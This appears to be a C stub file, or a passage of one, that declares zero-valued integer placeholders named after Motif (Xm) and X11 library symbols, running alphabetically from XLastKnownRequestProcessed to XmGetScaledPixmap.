int XLastKnownRequestProcessed = 0;
int XListFonts = 0;
int XListInstalledColormaps = 0;
int XLoadQueryFont = 0;
int XLookupString = 0;
int Xm18IListUnselectAllItems = 0;
int Xm18IListUnselectItem = 0;
int _XmAccessColorData = 0;
int XmActivateProtocol = 0;
int _XmAddCallback = 0;
int _XmAddGrab = 0;
int _XmAddHashEntry = 0;
int XmAddProtocolCallback = 0;
int XmAddProtocols = 0;
int _Xm_AddQueue = 0;
int XmAddTabGroup = 0;
int _XmAddTearOffEventHandlers = 0;
int _XmAddToColorCache = 0;
int XmAddToPostFromList = 0;
int _XmAllocHashTable = 0;
int _XmAllocMotifAtom = 0;
int _XmAllocReceiverInfo = 0;
int _XmAllocScratchPixmap = 0;
int _XmAllowAcceleratedInsensitiveUnmanagedMenuItems = 0;
int XMapRaised = 0;
int XMapWindow = 0;
int _XmArrowB_defaultTranslations = 0;
int xmArrowButtonClassRec = 0;
int xmArrowButtonGadgetClass = 0;
int xmArrowButtonGadgetClassRec = 0;
int xmArrowButtonWidgetClass = 0;
int _XmArrowPixmapCacheCompare = 0;
int _XmArrowPixmapCacheDelete = 0;
int _XmAssignInsensitiveColor = 0;
int _XmAssignLabG_MarginBottom = 0;
int _XmAssignLabG_MarginHeight = 0;
int _XmAssignLabG_MarginLeft = 0;
int _XmAssignLabG_MarginRight = 0;
int _XmAssignLabG_MarginTop = 0;
int _XmAssignLabG_MarginWidth = 0;
int XMaxRequestSize = 0;
int _XmBackgroundColorDefault = 0;
int _XmBaseClassPartInitialize = 0;
int _XmBB_CreateButtonG = 0;
int _XmBB_CreateLabelG = 0;
int _XmBB_GetDialogTitle = 0;
int _XmBBUpdateDynDefaultButton = 0;
int XmbDrawImageString = 0;
int XmbDrawString = 0;
int _XmBlackPixel = 0;
int XmbLookupString = 0;
int _XmBottomShadowColorDefault = 0;
int XmbResetIC = 0;
int XmbTextEscapement = 0;
int XmbTextExtents = 0;
int XmbTextListToTextProperty = 0;
int XmbTextPropertyToTextList = 0;
int _XmBuildExtResources = 0;
int _XmBuildGadgetResources = 0;
int _XmBuildManagerResources = 0;
int _XmBuildPrimitiveResources = 0;
int _XmBuildResources = 0;
int _XmBulletinB_defaultTranslations = 0;
int _XmBulletinBoardCancel = 0;
int xmBulletinBoardClassRec = 0;
int _XmBulletinBoardFocusMoved = 0;
int _XmBulletinBoardMap = 0;
int _XmBulletinBoardReturn = 0;
int _XmBulletinBoardSetDefaultShadow = 0;
int _XmBulletinBoardSetDynDefaultButton = 0;
int _XmBulletinBoardSizeUpdate = 0;
int xmBulletinBoardWidgetClass = 0;
int xmButtonBoxClassRec = 0;
int xmButtonBoxWidgetClass = 0;
int _XmButtonPopdownChildren = 0;
int _XmButtonTakeFocus = 0;
int _XmByteOrderChar = 0;
int _XmCacheCopy = 0;
int _XmCacheDelete = 0;
int _XmCachePart = 0;
int _XmCachePixmap = 0;
int _XmCalcLabelDimensions = 0;
int _XmCalcLabelGDimensions = 0;
int _XmCallCallbackList = 0;
int _XmCallFocusMoved = 0;
int _XmCallRowColumnMapCallback = 0;
int _XmCallRowColumnUnmapCallback = 0;
int _XmCascadeB_menubar_events = 0;
int _XmCascadeB_p_events = 0;
int _XmCascadeBPrimClassExtRec = 0;
int xmCascadeButtonClassRec = 0;
int xmCascadeButtonGadgetClass = 0;
int xmCascadeButtonGadgetClassRec = 0;
int XmCascadeButtonGadgetHighlight = 0;
int xmCascadeButtonGCacheObjClassRec = 0;
int XmCascadeButtonHighlight = 0;
int xmCascadeButtonWidgetClass = 0;
int _XmCascadingPopup = 0;
int _XmCBHelp = 0;
int _XmCBNameActivate = 0;
int _XmCBNameValueChanged = 0;
int XmChangeColor = 0;
int _XmChangeHSB = 0;
int _XmChangeNavigationType = 0;
int _XmChangeVSB = 0;
int _XmCharsetCanonicalize = 0;
int _XmCleanPixmapCache = 0;
int _XmClearBCompatibility = 0;
int _XmClearBGCompatibility = 0;
int _XmClearBGPixmapName = 0;
int _XmClearBorder = 0;
int _XmClearDisplayTables = 0;
int _XmClearDragReceiverInfo = 0;
int _XmClearFocusPath = 0;
int _XmClearIconPixmapName = 0;
int _XmClearKbdFocus = 0;
int _XmClearRect = 0;
int _XmClearShadowType = 0;
int _XmClearTabGroup = 0;
int _XmClearTraversal = 0;
int XmClipboardBeginCopy = 0;
int XmClipboardCancelCopy = 0;
int XmClipboardCopy = 0;
int XmClipboardCopyByName = 0;
int XmClipboardEndCopy = 0;
int XmClipboardEndRetrieve = 0;
int XmClipboardInquireCount = 0;
int XmClipboardInquireFormat = 0;
int XmClipboardInquireLength = 0;
int XmClipboardInquirePendingItems = 0;
int XmClipboardLock = 0;
int _XmClipboardPassType = 0;
int XmClipboardRegisterFormat = 0;
int XmClipboardRetrieve = 0;
int XmClipboardStartCopy = 0;
int XmClipboardStartRetrieve = 0;
int XmClipboardUndoCopy = 0;
int XmClipboardUnlock = 0;
int XmClipboardWithdrawFormat = 0;
int xmClipWindowClassRec = 0;
int _XmClipWindowTranslationTable = 0;
int xmClipWindowWidgetClass = 0;
int _XmColorObjCache = 0;
int _XmColorObjCacheDisplay = 0;
int xmColorObjClass = 0;
int xmColorObjClassRec = 0;
int _XmColorObjCreate = 0;
int xmColorSelectorClassRec = 0;
int xmColorSelectorWidgetClass = 0;
int xmColumnClassRec = 0;
int xmColumnWidgetClass = 0;
int xmCombinationBox2ClassRec = 0;
int XmCombinationBox2GetArrow = 0;
int XmCombinationBox2GetChild = 0;
int XmCombinationBox2GetLabel = 0;
int XmCombinationBox2GetList = 0;
int XmCombinationBox2GetText = 0;
int XmCombinationBox2GetValue = 0;
int xmCombinationBox2WidgetClass = 0;
int XmCombinationBoxGetValue = 0;
int XmComboBoxAddItem = 0;
int xmComboBoxClassRec = 0;
int _XmComboBox_defaultAccelerators = 0;
int _XmComboBox_defaultTranslations = 0;
int XmComboBoxDeletePos = 0;
int _XmComboBox_dropDownComboBoxAccelerators = 0;
int _XmComboBox_dropDownListTranslations = 0;
int XmComboBoxSelectItem = 0;
int XmComboBoxSetItem = 0;
int _XmComboBox_textFocusTranslations = 0;
int XmComboBoxUpdate = 0;
int xmComboBoxWidgetClass = 0;
int XmCommandAppendValue = 0;
int xmCommandClassRec = 0;
int XmCommandError = 0;
int XmCommandGetChild = 0;
int _XmCommandReturn = 0;
int XmCommandSetValue = 0;
int _XmCommandUpOrDown = 0;
int xmCommandWidgetClass = 0;
int XmCompareISOLatin1 = 0;
int XmCompareXtWidgetGeometry = 0;
int XmCompareXtWidgetGeometryToWidget = 0;
int _XmComputeVisibilityRect = 0;
int _XmConfigureObject = 0;
int _XmConfigureWidget = 0;
int xmContainerClassRec = 0;
int XmContainerCopy = 0;
int XmContainerCopyLink = 0;
int XmContainerCut = 0;
int _XmContainer_defaultTranslations = 0;
int XmContainerGetItemChildren = 0;
int XmContainerPaste = 0;
int XmContainerPasteLink = 0;
int XmContainerRelayout = 0;
int XmContainerReorder = 0;
int _XmContainer_traversalTranslations = 0;
int xmContainerWidgetClass = 0;
int _XmConvertActionParamToRepTypeId = 0;
int _XmConvertComplete = 0;
int _XmConvertCSToString = 0;
int _XmConvertFactor = 0;
int _XmConvertFloatUnitsToIntUnits = 0;
int _XmConvertHandler = 0;
int _XmConvertHandlerSetLocal = 0;
int _XmConvertStringToUnits = 0;
int XmConvertStringToUnits = 0;
int _XmConvertToBW = 0;
int _XmConvertUnits = 0;
int XmConvertUnits = 0;
int _XmCopyCursorIconQuark = 0;
int XmCopyISOLatin1Lowered = 0;
int _XmCountVaList = 0;
int XmCreateArrowButton = 0;
int XmCreateArrowButtonGadget = 0;
int _XmCreateArrowPixmaps = 0;
int XmCreateBulletinBoard = 0;
int XmCreateBulletinBoardDialog = 0;
int XmCreateButtonBox = 0;
int XmCreateCascadeButton = 0;
int XmCreateCascadeButtonGadget = 0;
int XmCreateColorSelector = 0;
int XmCreateColumn = 0;
int XmCreateCombinationBox2 = 0;
int XmCreateComboBox = 0;
int XmCreateCommand = 0;
int XmCreateCommandDialog = 0;
int XmCreateContainer = 0;
int XmCreateDataField = 0;
int XmCreateDialogShell = 0;
int XmCreateDragIcon = 0;
int XmCreateDrawingArea = 0;
int XmCreateDrawnButton = 0;
int XmCreateDropDown = 0;
int XmCreateDropDownComboBox = 0;
int XmCreateDropDownList = 0;
int XmCreateErrorDialog = 0;
int XmCreateExt18List = 0;
int XmCreateExtended18List = 0;
int XmCreateFileSelectionBox = 0;
int XmCreateFileSelectionDialog = 0;
int _XmCreateFocusData = 0;
int XmCreateFontSelector = 0;
int XmCreateForm = 0;
int XmCreateFormDialog = 0;
int XmCreateFrame = 0;
int XmCreateGrabShell = 0;
int XmCreateIconBox = 0;
int XmCreateIconButton = 0;
int XmCreateIconGadget = 0;
int XmCreateIconHeader = 0;
int XmCreateInformationDialog = 0;
int XmCreateLabel = 0;
int XmCreateLabelGadget = 0;
int XmCreateList = 0;
int XmCreateMainWindow = 0;
int XmCreateMenuBar = 0;
int _XmCreateMenuCursor = 0;
int XmCreateMenuShell = 0;
int XmCreateMessageBox = 0;
int XmCreateMessageDialog = 0;
int XmCreateMultiList = 0;
int XmCreateNotebook = 0;
int XmCreateOptionMenu = 0;
int XmCreateOutline = 0;
int XmCreatePaned = 0;
int XmCreatePanedWindow = 0;
int XmCreatePopupMenu = 0;
int XmCreatePromptDialog = 0;
int XmCreatePulldownMenu = 0;
int XmCreatePushButton = 0;
int XmCreatePushButtonGadget = 0;
int XmCreateQuestionDialog = 0;
int XmCreateRadioBox = 0;
int _XmCreateRenderTable = 0;
int _XmCreateRendition = 0;
int XmCreateRowColumn = 0;
int XmCreateScale = 0;
int XmCreateScrollBar = 0;
int XmCreateScrolledList = 0;
int XmCreateScrolledText = 0;
int XmCreateScrolledWindow = 0;
int XmCreateSelectionBox = 0;
int XmCreateSelectionDialog = 0;
int XmCreateSeparator = 0;
int XmCreateSeparatorGadget = 0;
int XmCreateSimpleCheckBox = 0;
int XmCreateSimpleMenuBar = 0;
int XmCreateSimpleOptionMenu = 0;
int XmCreateSimplePopupMenu = 0;
int XmCreateSimplePulldownMenu = 0;
int XmCreateSimpleRadioBox = 0;
int XmCreateSimpleSpinBox = 0;
int XmCreateSpinBox = 0;
int _XmCreateTab = 0;
int XmCreateTabBox = 0;
int _XmCreateTabList = 0;
int XmCreateTabStack = 0;
int XmCreateTemplateDialog = 0;
int XmCreateText = 0;
int XmCreateTextField = 0;
int XmCreateToggleButton = 0;
int XmCreateToggleButtonGadget = 0;
int XmCreateTree = 0;
int _XmCreateVisibilityRect = 0;
int XmCreateWarningDialog = 0;
int XmCreateWorkArea = 0;
int XmCreateWorkingDialog = 0;
int XmCvtByteStreamToXmString = 0;
int XmCvtCTToXmString = 0;
int XmCvtFromHorizontalPixels = 0;
int XmCvtFromVerticalPixels = 0;
int XmCvtStringToUnitType = 0;
int XmCvtTextPropertyToXmStringTable = 0;
int XmCvtTextToXmString = 0;
int XmCvtToHorizontalPixels = 0;
int XmCvtToVerticalPixels = 0;
int XmCvtXmStringTableToTextProperty = 0;
int XmCvtXmStringToByteStream = 0;
int _XmCvtXmStringToCT = 0;
int XmCvtXmStringToCT = 0;
int XmCvtXmStringToText = 0;
int _XmCvtXmStringToUTF8String = 0;
int XmCvtXmStringToUTF8String = 0;
int _XmDataF_EventBindings1 = 0;
int _XmDataF_EventBindings2 = 0;
int _XmDataF_EventBindings3 = 0;
int _XmDataF_EventBindings4 = 0;
int xmDataFieldClassRec = 0;
int _XmDataFieldConvert = 0;
int XmDataFieldCopy = 0;
int _XmDataFieldCountBytes = 0;
int XmDataFieldCut = 0;
int _XmDataFieldDeselectSelection = 0;
int XmDataFielddf_ClearSelection = 0;
int _XmDataFielddf_SetCursorPosition = 0;
int XmDataFielddf_SetCursorPosition = 0;
int _XmDataFielddf_SetDestination = 0;
int _XmDataFieldDrawInsertionPoint = 0;
int XmDataFieldGetAddMode = 0;
int XmDataFieldGetBaseline = 0;
int XmDataFieldGetCursorPosition = 0;
int _XmDataFieldGetDropReciever = 0;
int XmDataFieldGetEditable = 0;
int XmDataFieldGetInsertionPosition = 0;
int XmDataFieldGetLastPosition = 0;
int XmDataFieldGetMaxLength = 0;
int XmDataFieldGetSelection = 0;
int XmDataFieldGetSelectionPosition = 0;
int XmDataFieldGetSelectionWcs = 0;
int XmDataFieldGetString = 0;
int XmDataFieldGetStringWcs = 0;
int XmDataFieldGetSubstring = 0;
int XmDataFieldGetSubstringWcs = 0;
int XmDataFieldInsert = 0;
int XmDataFieldInsertWcs = 0;
int _XmDataFieldLoseSelection = 0;
int XmDataFieldPaste = 0;
int XmDataFieldPosToXY = 0;
int XmDataFieldRemove = 0;
int XmDataFieldReplace = 0;
int _XmDataFieldReplaceText = 0;
int XmDataFieldReplaceWcs = 0;
int XmDataFieldSetAddMode = 0;
int _XmDataFieldSetClipRect = 0;
int XmDataFieldSetEditable = 0;
int XmDataFieldSetHighlight = 0;
int XmDataFieldSetInsertionPosition = 0;
int XmDataFieldSetMaxLength = 0;
int _XmDataFieldSetSel2 = 0;
int XmDataFieldSetSelection = 0;
int XmDataFieldSetString = 0;
int XmDataFieldShowPosition = 0;
int _XmDataFieldStartSelection = 0;
int xmDataFieldWidgetClass = 0;
int XmDataFieldXYToPos = 0;
int _XmDataFPrimClassExtRec = 0;
int _XmDataFToggleCursorGC = 0;
int XmDeactivateProtocol = 0;
int _XmDefaultColorObj = 0;
int _XmDefaultDragIconQuark = 0;
int _XmdefaultTextActionsTable = 0;
int _XmdefaultTextActionsTableSize = 0;
int _XmDefaultVisualResources = 0;
int xmDesktopClass = 0;
int xmDesktopClassRec = 0;
int xmDesktopObjectClass = 0;
int _XmDestinationHandler = 0;
int _XmDestroyDefaultDragIcon = 0;
int _XmDestroyFocusData = 0;
int _XmDestroyMotifWindow = 0;
int _XmDestroyParentCallback = 0;
int XmDestroyPixmap = 0;
int _XmDestroyTearOffShell = 0;
int xmDialogShellClassRec = 0;
int xmDialogShellExtClassRec = 0;
int xmDialogShellExtObjectClass = 0;
int xmDialogShellWidgetClass = 0;
int _XmDifferentBackground = 0;
int _XmDirectionDefault = 0;
int XmDirectionMatch = 0;
int XmDirectionMatchPartial = 0;
int XmDirectionToStringDirection = 0;
int _XmDismissTearOff = 0;
int _XmDispatchGadgetInput = 0;
int _XmDisplay_baseTranslations = 0;
int xmDisplayClass = 0;
int xmDisplayClassRec = 0;
int xmDisplayObjectClass = 0;
int _XmDoGadgetTraversal = 0;
int XmDragCancel = 0;
int _XmDragC_defaultTranslations = 0;
int xmDragContextClass = 0;
int xmDragContextClassRec = 0;
int xmDragIconClassRec = 0;
int _XmDragIconClean = 0;
int _XmDragIconIsDirty = 0;
int xmDragIconObjectClass = 0;
int _XmDragOverChange = 0;
int _XmDragOverFinish = 0;
int _XmDragOverGetActiveCursor = 0;
int _XmDragOverHide = 0;
int _XmDragOverMove = 0;
int _XmDragOverSetInitialPosition = 0;
int xmDragOverShellClassRec = 0;
int xmDragOverShellWidgetClass = 0;
int _XmDragOverShow = 0;
int XmDragStart = 0;
int _XmDragUnderAnimation = 0;
int _XmDrawArrow = 0;
int XmDrawBevel = 0;
int _XmDrawBorder = 0;
int _XmDrawDiamond = 0;
int _XmDrawDiamondButton = 0;
int _XmDrawHighlight = 0;
int _XmDrawingA_defaultTranslations = 0;
int xmDrawingAreaClassRec = 0;
int _XmDrawingAreaInput = 0;
int xmDrawingAreaWidgetClass = 0;
int _XmDrawingA_traversalTranslations = 0;
int _XmDrawnB_defaultTranslations = 0;
int _XmDrawnB_menuTranslations = 0;
int _XmDrawnBPrimClassExtRec = 0;
int xmDrawnButtonClassRec = 0;
int xmDrawnButtonWidgetClass = 0;
int _XmDrawSeparator = 0;
int _XmDrawShadow = 0;
int _XmDrawShadows = 0;
int _XmDrawShadowType = 0;
int _XmDrawSimpleHighlight = 0;
int _XmDrawSquareButton = 0;
int xmDropDownClassRec = 0;
int XmDropDownGetArrow = 0;
int XmDropDownGetChild = 0;
int XmDropDownGetLabel = 0;
int XmDropDownGetList = 0;
int XmDropDownGetText = 0;
int XmDropDownGetValue = 0;
int xmDropDownWidgetClass = 0;
int XmDropSiteConfigureStackingOrder = 0;
int XmDropSiteEndUpdate = 0;
int XmDropSiteGetActiveVisuals = 0;
int xmDropSiteManagerClassRec = 0;
int xmDropSiteManagerObjectClass = 0;
int XmDropSiteQueryStackingOrder = 0;
int XmDropSiteRegister = 0;
int XmDropSiteRegistered = 0;
int XmDropSiteRetrieve = 0;
int _XmDropSiteShell = 0;
int XmDropSiteStartUpdate = 0;
int XmDropSiteUnregister = 0;
int XmDropSiteUpdate = 0;
int _XmDropSiteWrapperCandidate = 0;
int XmDropTransferAdd = 0;
int xmDropTransferClassRec = 0;
int xmDropTransferObjectClass = 0;
int XmDropTransferStart = 0;
int _XmDSIAddChild = 0;
int _XmDSIDestroy = 0;
int _XmDSIGetBorderWidth = 0;
int _XmDSIGetChildPosition = 0;
int _XmDSIRemoveChild = 0;
int _XmDSIReplaceChild = 0;
int _XmDSISwapChildren = 0;
int _XmDSMGetTreeFromDSM = 0;
int _XmDSMUpdate = 0;
int _XmDSResources = 0;
int XmeAddFocusChangeCallback = 0;
int XmeClearBorder = 0;
int XmeClipboardSink = 0;
int XmeClipboardSource = 0;
int XmeConfigureObject = 0;
int XmeConvertMerge = 0;
int XmeCountVaListSimple = 0;
int XmeCreateClassDialog = 0;
int _XmEditResCheckMessages = 0;
int XmeDragSource = 0;
int XmeDrawArrow = 0;
int XmeDrawCircle = 0;
int XmeDrawDiamond = 0;
int XmeDrawHighlight = 0;
int XmeDrawIndicator = 0;
int XmeDrawPolygonShadow = 0;
int XmeDrawSeparator = 0;
int XmeDrawShadows = 0;
int XmeDropSink = 0;
int XmeFlushIconFileCache = 0;
int XmeFocusIsInShell = 0;
int XmeFromHorizontalPixels = 0;
int XmeFromVerticalPixels = 0;
int XmeGetColorObjData = 0;
int XmeGetDefaultPixel = 0;
int XmeGetDefaultRenderTable = 0;
int XmeGetDesktopColorCells = 0;
int XmeGetDirection = 0;
int XmeGetEncodingAtom = 0;
int XmeGetHomeDirName = 0;
int XmeGetIconControlInfo = 0;
int XmeGetLocalizedString = 0;
int XmeGetMask = 0;
int XmeGetNextCharacter = 0;
int XmeGetNullCursor = 0;
int XmeGetPixelData = 0;
int XmeGetPixmapData = 0;
int XmeGetTextualDragIcon = 0;
int XmeMicroSleep = 0;
int _XmEmptyRect = 0;
int XmeNamedSink = 0;
int XmeNamedSource = 0;
int XmeNamesAreEqual = 0;
int XmeNavigChangeManaged = 0;
int _XmEnterGadget = 0;
int _XmEnterRowColumn = 0;
int _XmEntryByteCountGet = 0;
int _XmEntryCacheGet = 0;
int _XmEntryCharCountGet = 0;
int _XmEntryDirectionGet = 0;
int _XmEntryDirectionSet = 0;
int _XmEntryPopGet = 0;
int _XmEntryPushGet = 0;
int _XmEntryRendBeginCountGet = 0;
int _XmEntryRendBeginGet = 0;
int _XmEntryRendBeginSet = 0;
int _XmEntryRendEndCountGet = 0;
int _XmEntryRendEndGet = 0;
int _XmEntryRendEndSet = 0;
int _XmEntryTabsGet = 0;
int _XmEntryTag = 0;
int _XmEntryTagSet = 0;
int _XmEntryTextGet = 0;
int _XmEntryTextSet = 0;
int _XmEntryTextTypeGet = 0;
int XmeParseUnits = 0;
int XmePrimarySink = 0;
int XmePrimarySource = 0;
int XmeQueryBestCursorSize = 0;
int _XmEraseShadow = 0;
int XmeRedisplayGadgets = 0;
int XmeRemoveFocusChangeCallback = 0;
int XmeRenderTableGetDefaultFont = 0;
int XmeReplyToQueryGeometry = 0;
int XmeResolvePartOffsets = 0;
int XmeSecondarySink = 0;
int XmeSecondarySource = 0;
int XmeSecondaryTransfer = 0;
int XmeSetWMShellTitle = 0;
int XmeStandardConvert = 0;
int XmeStandardTargets = 0;
int XmeStringGetComponent = 0;
int XmeStringIsValid = 0;
int XmeToHorizontalPixels = 0;
int XmeToVerticalPixels = 0;
int XmeTraitGet = 0;
int XmeTraitSet = 0;
int XmeTransferAddDoneProc = 0;
int XmeUseColorObj = 0;
int XmeVirtualToActualKeysyms = 0;
int XmeVLCreateWidget = 0;
int XmeWarning = 0;
int XME_WARNING = 0;
int XmeXpmAttributesSize = 0;
int XmeXpmCreateBufferFromImage = 0;
int XmeXpmCreateBufferFromPixmap = 0;
int XmeXpmCreateBufferFromXpmImage = 0;
int XmeXpmCreateDataFromImage = 0;
int XmeXpmCreateDataFromPixmap = 0;
int XmeXpmCreateDataFromXpmImage = 0;
int XmeXpmCreateImageFromBuffer = 0;
int XmeXpmCreateImageFromData = 0;
int XmeXpmCreateImageFromXpmImage = 0;
int XmeXpmCreatePixmapFromBuffer = 0;
int XmeXpmCreatePixmapFromData = 0;
int XmeXpmCreatePixmapFromXpmImage = 0;
int XmeXpmCreateXpmImageFromBuffer = 0;
int XmeXpmCreateXpmImageFromData = 0;
int XmeXpmCreateXpmImageFromImage = 0;
int XmeXpmCreateXpmImageFromPixmap = 0;
int XmeXpmFree = 0;
int XmeXpmFreeAttributes = 0;
int XmeXpmFreeExtensions = 0;
int XmeXpmFreeXpmImage = 0;
int XmeXpmFreeXpmInfo = 0;
int XmeXpmGetErrorString = 0;
int XmeXpmLibraryVersion = 0;
int XmeXpmReadFileToBuffer = 0;
int XmeXpmReadFileToData = 0;
int XmeXpmReadFileToImage = 0;
int XmeXpmReadFileToPixmap = 0;
int XmeXpmReadFileToXpmImage = 0;
int XmeXpmWriteFileFromBuffer = 0;
int XmeXpmWriteFileFromData = 0;
int XmeXpmWriteFileFromImage = 0;
int XmeXpmWriteFileFromPixmap = 0;
int XmeXpmWriteFileFromXpmImage = 0;
int xmExt18ListClassRec = 0;
int XmExt18ListDeselectItems = 0;
int XmExt18ListDeselectRow = 0;
int XmExt18ListGetSelectedRowArray = 0;
int XmExt18ListGetSelectedRows = 0;
int XmExt18ListMakeRowVisible = 0;
int XmExt18ListSelectAllItems = 0;
int XmExt18ListSelectItems = 0;
int XmExt18ListSelectRow = 0;
int XmExt18ListToggleRow = 0;
int XmExt18ListUnselectAllItems = 0;
int XmExt18ListUnselectItem = 0;
int xmExt18ListWidgetClass = 0;
int xmExtClassRec = 0;
int _XmExtGetValuesHook = 0;
int _XmExtHighlightBorder = 0;
int _XmExtImportArgs = 0;
int _XmExtObjAlloc = 0;
int xmExtObjectClass = 0;
int _XmExtObjFree = 0;
int _XmExtUnhighlightBorder = 0;
int _Xm_fastPtr = 0;
int _XmFastSubclassInit = 0;
int _XmFileSBGeoMatrixCreate = 0;
int xmFileSelectionBoxClassRec = 0;
int _XmFileSelectionBoxCreateDirList = 0;
int _XmFileSelectionBoxCreateDirListLabel = 0;
int _XmFileSelectionBoxCreateFilterLabel = 0;
int _XmFileSelectionBoxCreateFilterText = 0;
int _XmFileSelectionBoxFocusMoved = 0;
int XmFileSelectionBoxGetChild = 0;
int _XmFileSelectionBoxGetDirectory = 0;
int _XmFileSelectionBoxGetDirListItemCount = 0;
int _XmFileSelectionBoxGetDirListItems = 0;
int _XmFileSelectionBoxGetDirListLabelString = 0;
int _XmFileSelectionBoxGetDirMask = 0;
int _XmFileSelectionBoxGetFilterLabelString = 0;
int _XmFileSelectionBoxGetListItemCount = 0;
int _XmFileSelectionBoxGetListItems = 0;
int _XmFileSelectionBoxGetNoMatchString = 0;
int _XmFileSelectionBoxGetPattern = 0;
int _XmFileSelectionBoxNoGeoRequest = 0;
int _XmFileSelectionBoxRestore = 0;
int _XmFileSelectionBoxUpOrDown = 0;
int xmFileSelectionBoxWidgetClass = 0;
int XmFileSelectionDoSearch = 0;
int _XmFilterArgs = 0;
int _XmFilterResources = 0;
int _XmFindNextTabGroup = 0;
int _XmFindPrevTabGroup = 0;
int _XmFindTabGroup = 0;
int _XmFindTopMostShell = 0;
int _XmFindTraversablePrim = 0;
int _XmFocusInGadget = 0;
int _XmFocusIsHere = 0;
int _XmFocusIsInShell = 0;
int _XmFocusModelChanged = 0;
int _XmFocusOutGadget = 0;
int XmFontListAdd = 0;
int XmFontListAppendEntry = 0;
int XmFontListCopy = 0;
int XmFontListCreate = 0;
int XmFontListCreate_r = 0;
int XmFontListEntryCreate = 0;
int XmFontListEntryCreate_r = 0;
int XmFontListEntryFree = 0;
int XmFontListEntryGetFont = 0;
int XmFontListEntryGetTag = 0;
int XmFontListEntryLoad = 0;
int XmFontListFree = 0;
int XmFontListFreeFontContext = 0;
int _XmFontListGetDefaultFont = 0;
int XmFontListGetNextFont = 0;
int XmFontListInitFontContext = 0;
int XmFontListNextEntry = 0;
int XmFontListRemoveEntry = 0;
int _XmFontListSearch = 0;
int xmFontSelectorClassRec = 0;
int xmFontSelectorWidgetClass = 0;
int _XmForegroundColorDefault = 0;
int xmFormClassRec = 0;
int xmFormWidgetClass = 0;
int xmFrameClassRec = 0;
int _XmFrame_defaultTranslations = 0;
int xmFrameWidgetClass = 0;
int _XmFreeDragReceiverInfo = 0;
int _XmFreeHashTable = 0;
int _XmFreeMotifAtom = 0;
int _XmFreeScratchPixmap = 0;
int _XmFreeTravGraph = 0;
int _XmFreeWidgetExtData = 0;
int _XmFromHorizontalPixels = 0;
int _XmFromLayoutDirection = 0;
int _XmFromPanedPixels = 0;
int _XmFromVerticalPixels = 0;
int _XmGadClassExtRec = 0;
int _XmGadgetActivate = 0;
int _XmGadgetArm = 0;
int _XmGadgetButtonMotion = 0;
int xmGadgetClass = 0;
int xmGadgetClassRec = 0;
int _XmGadgetDrag = 0;
int _XmGadgetGetValuesHook = 0;
int _XmGadgetImportArgs = 0;
int _XmGadgetImportSecondaryArgs = 0;
int _XmGadgetKeyInput = 0;
int _XmGadgetMultiActivate = 0;
int _XmGadgetMultiArm = 0;
int _XmGadgetSelect = 0;
int _XmGadgetTraverseCurrent = 0;
int _XmGadgetTraverseDown = 0;
int _XmGadgetTraverseHome = 0;
int _XmGadgetTraverseLeft = 0;
int _XmGadgetTraverseNext = 0;
int _XmGadgetTraverseNextTabGroup = 0;
int _XmGadgetTraversePrev = 0;
int _XmGadgetTraversePrevTabGroup = 0;
int _XmGadgetTraverseRight = 0;
int _XmGadgetTraverseUp = 0;
int _XmGadgetWarning = 0;
int _XmGeoAdjustBoxes = 0;
int _XmGeoArrangeBoxes = 0;
int _XmGeoBoxesSameHeight = 0;
int _XmGeoBoxesSameWidth = 0;
int _XmGeoClearRectObjAreas = 0;
int _XmGeoCount_kids = 0;
int _XmGeoGetDimensions = 0;
int _XmGeoLoadValues = 0;
int _XmGeoMatrixAlloc = 0;
int _XmGeoMatrixFree = 0;
int _XmGeoMatrixGet = 0;
int _XmGeoMatrixSet = 0;
int _XmGeometryEqual = 0;
int _XmGeoReplyYes = 0;
int _XmGeoSetupKid = 0;
int _XmGetActiveDropSite = 0;
int _XmGetActiveItem = 0;
int _XmGetActiveProtocolStyle = 0;
int _XmGetActiveTabGroup = 0;
int _XmGetActiveTopLevelMenu = 0;
int _XmGetActualClass = 0;
int _XmGetArrowDrawRects = 0;
int XmGetAtomName = 0;
int _XmGetAudibleWarning = 0;
int _XmGetBGPixmapName = 0;
int _XmGetBitmapConversionModel = 0;
int _XmGetBottomShadowColor = 0;
int _XmGetClassExtensionPtr = 0;
int _XmGetColorAllocationProc = 0;
int XmGetColorCalculation = 0;
int _XmGetColorCalculationProc = 0;
int _XmGetColoredPixmap = 0;
int _XmGetColors = 0;
int XmGetColors = 0;
int _XmGetDefaultBackgroundColorSpec = 0;
int _XmGetDefaultColors = 0;
int _XmGetDefaultDisplay = 0;
int _XmGetDefaultFontList = 0;
int _XmGetDefaultThresholdsForScreen = 0;
int _XmGetDefaultTime = 0;
int XmGetDestination = 0;
int _XmGetDisplayObject = 0;
int XmGetDragContext = 0;
int _XmGetDragContextFromHandle = 0;
int _XmGetDragCursorCachePtr = 0;
int _XmGetDragProtocolStyle = 0;
int _XmGetDragProxyWindow = 0;
int _XmGetDragReceiverInfo = 0;
int _XmGetDropSiteManagerObject = 0;
int _XmGetEffectiveView = 0;
int _XmGetEncodingRegistryTarget = 0;
int _XmGetFirstFocus = 0;
int _XmGetFirstFont = 0;
int _XmGetFocus = 0;
int _XmGetFocusData = 0;
int _XmGetFocusFlag = 0;
int _XmGetFocusPolicy = 0;
int _XmGetFocusResetFlag = 0;
int XmGetFocusWidget = 0;
int _XmGetFontUnit = 0;
int _XmGetHashEntryIterate = 0;
int _XmGetHighlightColor = 0;
int _XmGetIconControlInfo = 0;
int XmGetIconFileName = 0;
int _XmGetIconPixmapName = 0;
int _XmGetImage = 0;
int _XmGetImageAndHotSpotFromFile = 0;
int _XmGetImageFromFile = 0;
int _XmGetInDragMode = 0;
int _XmGetInsensitiveStippleBitmap = 0;
int _XmGetKidGeo = 0;
int _XmGetLayoutDirection = 0;
int _XmGetManagedInfo = 0;
int _XmGetMaxCursorSize = 0;
int _XmGetMBStringFromXmString = 0;
int XmGetMenuCursor = 0;
int _XmGetMenuCursorByScreen = 0;
int _XmGetMenuProcContext = 0;
int _XmGetMenuState = 0;
int _XmGetMotifAtom = 0;
int _XmGetMoveOpaqueByScreen = 0;
int _XmGetNavigability = 0;
int _XmGetNavigationType = 0;
int _Xm_GetNewElement = 0;
int XmGetNewPictureState = 0;
int _XmGetNullCursor = 0;
int _XmGetPixelData = 0;
int _XmGetPixmap = 0;
int XmGetPixmap = 0;
int _XmGetPixmapBasedGC = 0;
int XmGetPixmapByDepth = 0;
int _XmGetPixmapData = 0;
int _XmGetPointVisibility = 0;
int _XmGetPopupMenuClick = 0;
int XmGetPostedFromWidget = 0;
int _XmGetRC_PopupPosted = 0;
int _XmGetRealXlations = 0;
int _XmGetScaledPixmap = 0;
int XmGetScaledPixmap = 0;
